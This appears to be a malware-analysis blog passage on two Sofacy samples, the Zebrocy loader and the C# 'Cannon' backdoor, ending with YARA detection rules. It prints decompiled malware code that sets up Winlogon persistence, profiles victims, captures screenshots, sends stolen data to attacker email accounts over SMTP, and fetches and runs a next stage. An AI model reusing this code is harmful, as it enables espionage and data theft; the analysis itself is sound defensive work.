str_processor((int)&encoded_value, "@BQCHFDGGFUFEFSDTBDGUFEFDGUFVFCDUFSEBGSEDFEFDFVFCFUFEFSFBGEGTBTFBGVFFFTBGGGGGGTBHGVBUFVFIFDGAFCFIFSF@G@GAF@BQCEF@GIGDETBDGUFEFDGUFVFCDUFSEBGSECCICUB@CECUBECBCUBECHCAC@BQCDGCGVFHDUFSEBGSEACUBACVB@EDEDEHD@B@GHF@GUBSFVFCFVFDGVFBG@GVBEGBCACHCHCDFRFVB@GSFEFHFCGIGCGVBCCICUB@CECUBECBCUBECHCACVBVBQC@GDGDGHF@BDECEVD@E", 310u);
/*POST hxxp://185[.]25[.]50[.]93/syshelp/kd8812u/protocol[.]php\n
Host: 185[.]25[.]50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:
*/
str_processor((int)&encoded_value, "TCGFBGVF@G", 10u);
// porg=
processor((int)&encoded_value, "@BQCHFDGGFUFEFSDTBDGUFEFDGUFVFCD");
// "Content-Length: "

Their decoding works as by transposing the encoded blob, then converting it into hex and decoding hex into ASCII.
For example, we can confirm the hex decoding routine as follows:

>>> "3138352E32352E35302E3933".decode("hex") # defanged
'185[.]25[.]50[.]93'

The simplified transposition preparing the conversion to hex is pseudo-coded as follows:

///////////////////////////////////////////////////////////////////////  
///////////////// Intitial Zebrocy Decoder Prepare First ///////////////
///////////////////////////////////////////////////////////////////////
encoded = (char *)holder_for_encoded;
if ( v38 < 16 )
encoded = (char *)&holder_for_encoded;
v8 = &encoded[v37];
v9 = (char *)holder_for_encoded;
if ( v38 < 16 )
v9 = (char *)&holder_for_encoded;
for ( ; v9 != v8; *v8 = v10 )
{
if ( v9 == --v8 )
break;
v10 = *v9;
*v9++ = *v8;
}
v35 = 15;
v34 = 0;
LOBYTE(v33) = 0;
LOBYTE(v42) = 3;
for ( i = 0; i < v37; ++i )
{
encoded_1 = holder_for_encoded;
if ( v38 < 16 )
encoded_1 = &holder_for_encoded;
except_result(encoded_1[i] - 16, (int)&v33);
}

D. Zebrocy “recv” Processor: “-1” & “0009” Commands
As noted by Palo Alto Unit42, the Zebrocy loader has logic to retrieve input from the server to process the following two commands:

-1
0009

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘Andale Mono’; color: #2fff12; background-color: #000000; background-color: rgba(0, 0, 0, 0.9)} span.s1 {font-variant-ligatures: no-common-ligatures} In both of the cases, the loader proceeds to leverage “free” call and exits. The pseudocoded recv processor fragment is as follows:

////////////////////////////////////////////////
///// Zebrocy "recv" Processor Fragment ///////
///////////////////////////////////////////////
if ( processor_str("-1", (int)&flag_response) ) // possible cmd = "-1"
{
if ( v98 >= 16 )
free(flag_response);
v98 = 15;
v97 = 0;
LOBYTE(flag_response) = 0;
if ( v83 >= 16 )
free(v81);
v83 = 15;
v82 = 0;
LOBYTE(v81) = 0;
if ( v95 >= 16 )
free(post_request_1);
v95 = 15;
len = 0;
LOBYTE(post_request_1) = 0;
if ( v101 >= 16 )
free(cp);
v10 = v92 < 16;
v101 = 15;
v100 = 0;
LOBYTE(cp) = 0;
goto LABEL_29;
}
if ( processor_str("009", (int)&flag_response) ) // possible cmd = "009"
{
free_0((int)&flag_response);
free_0((int)&v81);
free_0((int)&post_request_1);
free_0((int)&cp);
free_0((int)&v90);
return 1;
}

E. Zebrocy Install and Execute Processor
Finally, the processor contains logic to install and execute the next payload stage retrieved via recv command. Notably, the loader leverages CreateDirectoryW API with fwrite API to install and write block of data to stream and save it locally, then it executes the presumed downloaded next stage via ShellExecuteA API call.
The pseudo-coded function is as follows:

III. Yara Signature

import "pe"

rule apt_sophacy_loader_zebrocy {
meta:
reference = "Detects Sofacy Zebrocy C++ loader"
author = "@VK_Intel"
date = "2018-12-08"
hash1 = "dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d"
strings:
$dec_processor = { 55 8b ec 53 8b ?? ?? 56 8b f1 85 db 74 ?? 8b ?? ?? 83 f9 10 72 ?? 8b ?? eb ?? 8b c6 3b d8 72 ?? 83 f9 10 72 ?? 8b ?? eb ?? 8b c6 8b ?? ?? 03 d0 3b d3 76 ?? 83 f9 10 72 ?? 8b ?? 8b ?? ?? 51 2b d8 53}
$decoder1 = { 55 8b ec 6a ff 68 e9 f7 41 00 64 ?? ?? ?? ?? ?? 50 83 ec 64 a1 ?? ?? ?? ?? 33 c5 89 ?? ?? 53 56 50 8d ?? ?? 64 ?? ?? ?? ?? ?? 33 db 89 ?? ?? 89 ?? ?? 6a ff c7 ?? ?? ?? ?? ?? ?? 53 8d ?? ?? 50 8d ?? ?? c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 88 ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 8b c6 83 fa 10 73 ?? 8d ?? ??}
$decoder2 = { 33 db c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? c6 ?? ?? ?? c6 ?? ?? ?? 89 ?? ?? 39 ?? ?? 76 ?? 83 ?? ?? ?? 8b ?? ?? 73 ?? 8d ?? ?? 8b ?? ?? 0f ?? ?? ?? 83 eb 10 8d ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 40 89 ?? ?? 3b ?? ?? 72 ??}

condition:
( uint16(0) == 0x5a4d and
filesize < 500KB and
pe.imphash() == "287595010a7d7f2e14aec2068098ad43" and
( all of them )
) or ( 1 of ($decoder*) and $dec_processor)
}

Let’s Learn: In-Depth on Sofacy Cannon Loader/Backdoor Review

Goal: Review and practice analyzing C# code from the Sofacy Group new loader/backdoor called “Cannon” (as discovered by Palo Alto Unit 42 researchers).

https://platform.twitter.com/widgets.js Source:

Sofacy “Cannon” Loader/Backdoor
SHA256: 61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e
Outline:

I. Background & Summary
II. Cannon Classes
III. Cannon "Form1" Main Functions
A. “start_Tick”
B. “inf_Tick”
C. “txt_Tick”
D. “subject_Tick”
E. "run_Tick"
F. “load_Tick”
G. “screen_Tick”
H. "eTim_Tick"
IV. Yara Signature
I. Background & Summary
Before diving deeper, I highly recommend reading the original discovery and excellent research related to the “Cannon” malware by Palo Alto Unit 42 titled Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan.” As reported by Unit 42, Sofacy group leveraged malicious Microsoft Document themed as Lion Air disaster” to deliver the Cannon malware. By and large, according to Palo Alto Unit 42, Sofacy recent targeting includes “government organizations in the EU, US, and former Soviet states.”
Cannon is a rather simple but interesting C#-coded malware collecting victim information, receiving commands (controlled by EventHandler), and retrieving next stage via the SMTPS and POP3S. It is interesting that the malware original project “wsslc” program database (PDB) is associated with the possible user “Garry” with the “cannon” project path “C:\Users\Garry\Desktop\cannon\obj\x86\Debug\wsslc.pdb”. Notably, “Garry” is a common way for Russian speakers to phonetically spell out “Harry” stressing the “G” sound. The malware logic also checks for control email messages attachment files containing auddevc” via its “load_Tick” function possibly retrieving unidentified additional binaries. If found, the malware creates a file stream in the main directory and writes the file to the directory using BinaryWriter. Additionally, the malware creates a registry entry as “Shell” in “Winlogon” via “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogonfor registry persistence.
It is also interesting that the malware authors chose to leverage Czech email provider @post.cz for communications and command control.
II. Cannon Classes
The binary contains the following five classes as follows:
Class Name Description
AUTH Initializes values for SMTPS and POP connection mF1, p1, mF2, p2, mF3, and p3
Form1 Loads the main functions and initializes the main flow of the binary
Lenor Loads auxiliary functions, retrieves information about victims and parses emails for commands
MDat Initializes values used for network communication
Program Starts the program and passes control to Form1
The main program starts running the Main function which checks whether the specified file “C:\Users\Public\Music\s.txt” exists, if yes, it starts “explorer.exe” If not, it sets up the EnableVisualStyles() and SetCompatibleTextRenderingDefault(defaultValue: false) and launches the “Run” command the command executing the “Form1” class.
The full function is as follows:

////////////////////////////////////////////////////////////////////
////////////////////// Cannon Malware Main "Program" ///////////////
////////////////////////////////////////////////////////////////////
internal static class Program
{
[STAThread]
private static void Main()
{
try
{
if (File.Exists("C:\\Users\\Public\\Music\\s.txt"))
{
Process.Start("explorer.exe");
}
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(defaultValue: false);
Application.Run(new Form1());
}
catch (Exception)
{
}
}
}

III. Cannon “Form1” Main Functions
Next, the class “Form1” starts with InitializeComponent(), which sets up all the variables and intervals with EventHandler for the main functions as detailed by Unit 42:

////////////////////////////////////////////////////////////////////
// Cannon Malware Sequence "Form1" Calls & Intervals //////////////
///////////////////////////////////////////////////////////////////
start.Interval = 1000;
start.Tick += new System.EventHandler(start_Tick);
inf.Interval = 300000;
inf.Tick += new System.EventHandler(inf_Tick);
txt.Interval = 120000;
txt.Tick += new System.EventHandler(txt_Tick);
subject.Interval = 120000;
subject.Tick += new System.EventHandler(subject_Tick);
run.Interval = 60000;
run.Tick += new System.EventHandler(run_Tick);
load.Interval = 120000;
load.Tick += new System.EventHandler(load_Tick);
screen.Interval = 10000;
screen.Tick += new System.EventHandler(screen_Tick);
eTim.Interval = 13000;
eTim.Tick += new System.EventHandler(eTim_Tick);

A. “start_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "start_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void start_Tick(object sender, EventArgs e)
{
try
{
start.Enabled = false;
Lenor lenor = new Lenor();
if (Directory.Exists("C:\\Users\\Public\\Music")
{
dir = "C:\\Users\\Public\\Music" + "\\";
}
else
{
dir = "C:\\Documents and Settings\\All Users\\Documents" + "\\";
}
att = dir + "auddevc.txt";
_id = lenor.id(dir);
if (!File.Exists(dir + "s.txt"))
{
lenor.Dir = dir;
lenor.Registration("\"HKCU\\Software\\Microsoft\\" +
"Windows NT\\CurrentVersion\\Winlogon\", "Shell");
File.WriteAllText(dir + "s.txt", "{SysPar = 65}");
}
inf.Enabled = true;
}
catch (Exception)
{
}
}

The “start_Tick” function checks if the application is launched with the interval of 1000 milliseconds or 1 second. The function checks if the directory “C:\Users\Public\Music” exists if not it uses the “C:\Documents and Settings\All Users\Documents” one.
Then, it concatenates the filename to the path as “auddevc.txt”. The function generates a bot ID (_id) leveraging the id function from the “Lenor” class (which calls another “SN” function from Lenor). The bot ID is generated by concatenating the results of the cmd command for volume name “vol C:” with machine username “Environment.UserName”. More specifically, the “Lenor.SN” function runs a command, for example, “vol C:>> C:\\Documents and Settings\\All Users\\Documents\99.txt” saving the output to a local file “99.txt” which is run via batch script “b.bat”; both files are removed right after the operation.

The “Lenor._id” function simply leverages the SN function and concatenates the full bot ID.

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "Id" Bot ID Generation /////////////
////////////////////////////////////////////////////////////////////
public string id("C:\\Documents and Settings\\All Users\\Documents")
{
string text = "";
string text2 = "";
string text3 = "";
string text4 = "";
volumename = SN("C:\\Documents and Settings\\All Users\\Documents", "C");
volumename = volumename.Trim();
username = Environment.UserName;
byte[] bytes = Encoding.Default.GetBytes(text4);
text4 = BitConverter.ToString(bytes);
username = text4.Replace("-", "");
full_id = volumename + username;

/*
public string SN(string "C:\\Documents and Settings\\All Users\\Documents", string name)
{
string text = "";
try
{
while (!File.Exists("C:\\Documents and Settings\\All Users\\Documents" + "\\99.txt"))
{
try
{
string contents = "vol " +
"C" + ":>>" + "C:\\Documents and Settings\\All Users\\Documents" + "\\99.txt";
File.WriteAllText("C:\\Documents and Settings\\All Users\\Documents" + "\\b.bat", contents);
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = d + "\\b.bat";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(processStartInfo);
File.Delete(d + "\\b.bat");
}
catch (Exception)
{
}
}
text = File.ReadAllText(d + "\\99.txt");
string[] array = text.Split('\n');
text = array[1];
text = text.Substring(text.LastIndexOf(" "));
text = text.Remove(text.IndexOf('-'), 1);
File.Delete(d + "\\99.txt");
}
catch (Exception)
{
}
return text;
}
*/

For persistence, the malware checks if the directory contains “s.txt” file. If not, it registers itself in the following registry path:


HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\Shell

It also creates the file “s”.txt in the same local directory with “{SysPar = 65}” encoding.
B. “inf_Tick” 

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "inf_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void inf_Tick(object sender, EventArgs e)
{
try
{
inf.Enabled = false;
string[] array = "REDACTED_PASS2|bishtr.cam47".Split('|');
a1 = array[1];
b1 = array[0];
array = "REDACTED_PASS3|cervot.woprov".Split('|');
a2 = array[1];
b2 = array[0];
array = "REDACTED_PASS4|lobrek.chizh".Split('|');
a3 = array[1];
b3 = array[0];
Lenor lenor = new Lenor();
lenor.Dir = dir;
File.Delete(dir + "\\b.bat");
string userName = Environment.UserName;
lenor.inf(dir + "i.ini", userName);
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "i.ini"; //filename attachement
mDat.ID = _id; //subject
mDat.bod = "S_inf"; // body
mDat.mT = "sahro.bella7"; // to
AUTH aUTH = new AUTH();
aUTH.mF1 = a1; // from bishtr.cam47
aUTH.p1 = b1; // REDACTED_PASS2
aUTH.mF2 = a2; // from cervot.woprov
aUTH.p2 = b2; // REDACTED_PASS3
aUTH.mF3 = a3; // from lobrek.chizh
aUTH.p3 = b3; // REDACTED_PASS4
lenor.sent(mDat, aUTH);
screen.Enabled = true;
}
catch (Exception)
{
screen.Enabled = true;
}
}

The “inf_Tick” function checks if the application is launched with the interval of 30000 milliseconds or 30 seconds. The function splits strings via “|” separator such as for example “REDACTED_PASS2|bishtr.cam47”.Split(‘|’) and adds the values as usernames and passwords to the authentication “AUTH” class.
Additionally, it deletes the batch file “b.bat” from the current directory. 
The malware “lenor.inf” function works as follows:

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "inf" Function Fragment /////////////
////////////////////////////////////////////////////////////////////
public string inf(string fn, string CurU)
{
string text = "";
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendFormat("RPlace:\n" + Environment.NewLine);
stringBuilder.AppendFormat("{0} \n", Application.ExecutablePath + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("OS: {0}\n", Environment.OSVersion + Environment.NewLine);
stringBuilder.AppendFormat("SDir: {0}\n", SDir() + Environment.NewLine);
stringBuilder.AppendFormat("Domain: {0}\n", Domain() + Environment.NewLine);
stringBuilder.AppendFormat("Host: {0}\n", HostN() + Environment.NewLine);
stringBuilder.AppendFormat("CurrentUsr: {0}\n", CurU + Environment.NewLine);
stringBuilder.AppendFormat("TimeZ: {0}\n", GetTZ() + Environment.NewLine);
stringBuilder.AppendFormat("Working: {0}\n", TimeWork() + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("\n" + DrvDsk() + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("Swr:\n" + Environment.NewLine);
text = "C:\\Program";
string[] directories = Directory.GetDirectories(text + " Files\\");
string[] array = directories;
foreach (string str in array)
{
stringBuilder.AppendFormat("{0}\n", str + Environment.NewLine);
}
if (Directory.Exists(text + " Files (x86)\\"))
{
directories = Directory.GetDirectories(text + " Files (x86)\\");
array = directories;
foreach (string str in array)
{
stringBuilder.AppendFormat("{0}\n", str + Environment.NewLine);
}
}
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("PrL:\n" + Environment.NewLine);

The malware function utilizes “Lenor.inf” function to write the collected victim information to the file in the same directory as “i.ini” in the following structure (example):


The function attempts to authenticate to the three @post.cz email addresses (“bishtr.cam47@post.cz”, “cervot.woprov@post.cz”, “lobrek.chizh@post.cz”) send the information to “sahro.bella7@post.cz” with the body message “S_inf” with the file attachment “i.ini” with the subject as the bot ID.
C. “txt_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "txt_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void txt_Tick(object sender, EventArgs e)
{
try
{
txt.Enabled = false;
string[] array = "REDACTED_PASSWORD|trala.cosh2".Split('|');
ai = array[1];
bi = array[0];
Lenor lenor = new Lenor();
_adr = lenor.pi(_id, "trala.cosh2" + "@post.cz", bi, "pop.seznam.cz");
if (_adr.Length > 0)
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "s.txt";
mDat.ID = _id;
mDat.bod = "ok";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
load.Enabled = true;
}
else
{
txt.Enabled = true;
}
}
catch (Exception)
{
load.Enabled = true;
}
}

The “txt_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds.The function sets up variables and splits username and password leveraging “|” as follows:
“REDACTED_PASS|trala.cosh2”.
The function “lenor.pi” authenticates to the email account “trala.cosh2@post.cz” and retrieves messages via pop3Client.GetMessageCount() for the message looping over subjects with the bot ID (message.Headers.Subject == ID) and retrieving message body message.MessagePart.Body and converting text (BitConverter.ToString(body)) to string and decoding hex via FromHex(text) and deleting the message.
The loop code is as follows:

/////////////////////////////////////////////////////////////////////
// Cannon Malware "txt_Tick" Command Email GetMessage Loop for cmd //
////////////////////////////////////////////////////////////////////
for (int i = 0; i < pop3Client.GetMessageCount(); i++)
{
message = pop3Client.GetMessage(i + 1);
if (message.Headers.Subject == ID)
{
byte[] body = message.MessagePart.Body;
text = BitConverter.ToString(body);
text = FromHex(text);
pop3Client.DeleteMessage(i + 1);
}
}

If the text length is over zero, the function attempts to authenticate to the two aforementioned @post.cz email addresses from “screen_Tick” and send the information to “sahro.bella7@post.cz” with the body message “ok” with the file attachment “s.txt” with the subject as the bot ID.
D. “subject_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "subject_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void subject_Tick(object sender, EventArgs e)
{
try
{
subject.Enabled = false;
Lenor lenor = new Lenor();
lenor.Dir = dir;
rn = lenor.pi(_id, "trala.cosh2" + "@post.cz", bi, "pop.seznam.cz";);
rn = rn.Trim();
if (rn.Length > 0)
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "s.txt";
mDat.ID = _id;
mDat.bod = "ok3";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
run.Enabled = true;
}
else
{
subject.Enabled = true;
}
}
catch (Exception)
{
}
}

The “subject_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds. The function sets up variables and splits username and password leveraging “|” as follows:
“REDACTED_PASS|trala.cosh2”
If the text length is over zero and trimmed of leading and trailing whitespace characters, the function attempts to authenticate to the two aforementioned @post.cz email addresses from “screen_Tick” and send the information to “sahro.bella7@post.cz” with the body message “ok3” with the file attachment “s.txt” with the subject as the bot ID.

E. “run_Tick”
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "run_Tick" function /////////////////
////////////////////////////////////////////////////////////////////
private void run_Tick(object sender, EventArgs e)
{
try
{
run.Enabled = false;
try
{
Directory.CreateDirectory(rn.Substring(0, rn.LastIndexOf("\\")));
}
catch (Exception)
{
}
File.Move(att, rn);
if (File.Exists(rn))
{
Lenor lenor = new Lenor();
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "l.txt";
mDat.ID = _id;
mDat.bod = "ok4";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
Process.Start(rn);
Process[] processes = Process.GetProcesses();
Process[] array = processes;
foreach (Process process in array)
{
if (process.ProcessName.Contains("auddevc"))
{
Lenor lenor2 = new Lenor();
MDat mDat2 = new MDat();
mDat2.Dom = "@post.cz";
mDat2.Host = "smtp.seznam.cz";
mDat2.fn = dir + "s.txt";
mDat2.ID = _id;
mDat2.bod = "ok5";
mDat2.mT = "sahro.bella7";
AUTH aUTH2 = new AUTH();
aUTH2.mF1 = a1;
aUTH2.p1 = b1;
aUTH2.mF2 = a2;
aUTH2.p2 = b2;
aUTH2.mF3 = a3;
aUTH2.p3 = b3;
lenor2.sent(mDat2, aUTH2);
File.Delete(dir + "sysscr.ops");
File.Delete(dir + "i.ini");
Application.Exit();
}
}
}
else
{
Application.Restart();
}
}
catch (Exception)
{
Application.Exit();
}
}
The “run_Tick” function is launched with the interval of 60000 milliseconds or 60 seconds. The function processes the return text of the “subject_Tick” command and creates a directory with its path.
Then, if successful, it attempts to move the file “auddevc.txt” to the new directory via File.Move(dir + “auddevc.txt”), rn).
If successful, the function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “ok4” with the file attachment “l.txt” with the subject as the bot ID.
Additionally, the function checks if the running process contains the name “auddevc,” if yes, the function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “ok5” with the file attachment “s.txt” with the subject as the bot ID.
The function is also responsible for deleting the saved screenshot “sysscr.ops” and the collected victim information file “i.ini.” The function also exists the application if successful.
F. “load_Tick”
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "load_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void load_Tick(object sender, EventArgs e)
{
try
{
load.Enabled = false;
string text = _adr.Replace("B&", "");
text = text.Replace("Db", "");
string[] array = text.Split('%');
string text2 = array[0];
string text3 = array[1];
text2 = text2.Trim();
text3 = text3.Trim();
Lenor lenor = new Lenor();
lenor.Dir = dir;
File.WriteAllText(dir + "l.txt", "090");
rn = lenor.piatt(_id, text3 + "@post.cz", text2, "pop.seznam.cz";);
if (File.Exists(att))
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "l.txt";
mDat.ID = _id;
mDat.bod = "ok2";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
subject.Enabled = true;
}
else
{
load.Enabled = true;
}
}
catch (Exception)
{
}
}
The “load_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds. The function is responsible for processing the retrieved text from “txt_Tick” function. It replaces the  “B&” with “”, “Db” with “”, then splits the text via ‘%’ and removes trailing whitespace.
Then, it writes the new file “l.txt” from this text in the same directory with “090” encoding.
The function “lenor.piatt” authenticates to the email account “trala.cosh@post.cz” and retrieves messages via pop3Client.GetMessageCount() for the message looping over subjects with the bot ID (message.Headers.Subject == ID) and retrieving message body message.MessagePart.Body and converting text (BitConverter.ToString(body)) to string and decoding hex via FromHex(text). Then, it loops over looking for attachment files containing “auddevc”. If found, it creates a file stream in the same directory and writes it to the directory using BinaryWriter.
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "piatt" function fragment ///////////
////////////////////////////////////////////////////////////////////
if (pop3Client.GetMessageCount() > 0)
{
for (int i = 0; i < pop3Client.GetMessageCount(); i++)
{
message = pop3Client.GetMessage(i + 1);
if (message.Headers.Subject == ID)
{
byte[] rawMessage = message.RawMessage;
text = BitConverter.ToString(rawMessage);
text = FromHex(text);
list = message.FindAllAttachments();
foreach (MessagePart item in list)
{
if (item.FileName.Contains("auddevc"))
{
FileStream fileStream = new FileStream(Dir + item.FileName, FileMode.Create);
BinaryWriter binaryWriter = new BinaryWriter(fileStream);
binaryWriter.Write(item.Body);
binaryWriter.Close();
fileStream.Close();
}
}
pop3Client.DeleteMessage(i + 1);
}
}
}

G. “screen_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "screen_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void screen_Tick(object sender, EventArgs e)
{
try
{
screen.Enabled = false;
string[] array = "REDACTED_PASS2|bishtr.cam47".Split('|');
a1 = array[1];
b1 = array[0];
array = "REDACTED_PASS3|cervot.woprov".Split('|');
a2 = array[1];
b2 = array[0];
array = "REDACTED_PASS4|lobrek.chizh".Split('|');
a3 = array[1];
b3 = array[0];
Lenor lenor = new Lenor();
lenor.Dir = dir;
lenor.scr();
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "sysscr.ops";
mDat.ID = _id;
mDat.bod = "SCreen";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
txt.Enabled = true;
}
catch (Exception)
{
txt.Enabled = true;
}
}

The “screen_Tick” function is launched with the interval of 10000 milliseconds or 10 seconds. The function sets up variables and splits usernames and passwords leveraging “|” as follows:

REDACTED_PASS2|bishtr.cam47
REDACTED_PASS3|cervot.woprov
REDACTED_PASS4|lobrek.chizh

Then, it leverages the screen function “lenor.scr” taking a desktop screenshot via Bitmap(bounds.Width, bounds.Height), Graphics.FromImage(bitmap), graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size) and saving the screenshot as “.png” image masked as “sysscr.ops” in the main directory.
The function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “SCreen” with the file attachment “sysscr.ops” with the subject as the bot ID.
H. “eTim_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "eTim_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void eTim_Tick(object sender, EventArgs e)
{
Application.Exit();
File.Delete(dir + "\\r.bat");
}

The “eTim_Tick” function is launched with the interval of 13000 milliseconds or 13 seconds.
The function simply exits the application and deletes the batch script “r.bat” in the directory.

IV. Yara Signature

rule apt_win32_cannon_loader_sofacy {
meta:
description = "Detects Sofacy Cannon Loader"
author = "@VK_Intel"
date = "2018-11-24"
hash1 = "61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e"
strings:

$pdb = "c:\\Users\\Garry\\Desktop\\cannon\\obj\\x86\\Debug\\wsslc.pdb" fullword ascii
$exe = "wsslc.exe" fullword ascii wide

$s0 = "cannon" fullword ascii wide
$s1 = "cannon.Form1.resources" fullword ascii wide
$s2 = "cannon.Properties.Resources.resources" fullword ascii wide

$c0 = "Form1" fullword ascii wide
$c1 = "Lenor" fullword ascii wide
$c2 = "MDat" fullword ascii wide
$c3 = "AUTH" fullword ascii wide
$c4 = "Program" fullword ascii wide

$f0 = "start_Tick" fullword ascii wide
$f1 = "inf_Tick" fullword ascii wide
$f2 = "screen_Tick" fullword ascii wide
$f3 = "txt_Tick" fullword ascii wide
$f4 = "load_Tick" fullword ascii wide
$f5 = "subject_Tick" fullword ascii wide
$f6 = "run_Tick" fullword ascii wide
$f7 = "eTim_Tick" fullword ascii wide

condition:
( uint16(0) == 0x5a4d and
filesize < 1000KB and
( 2 of ($c*) and 4 of ($f*) ) or ( 1 of ($s*) and ( $pdb or $exe ) )
) or ( all of them )
}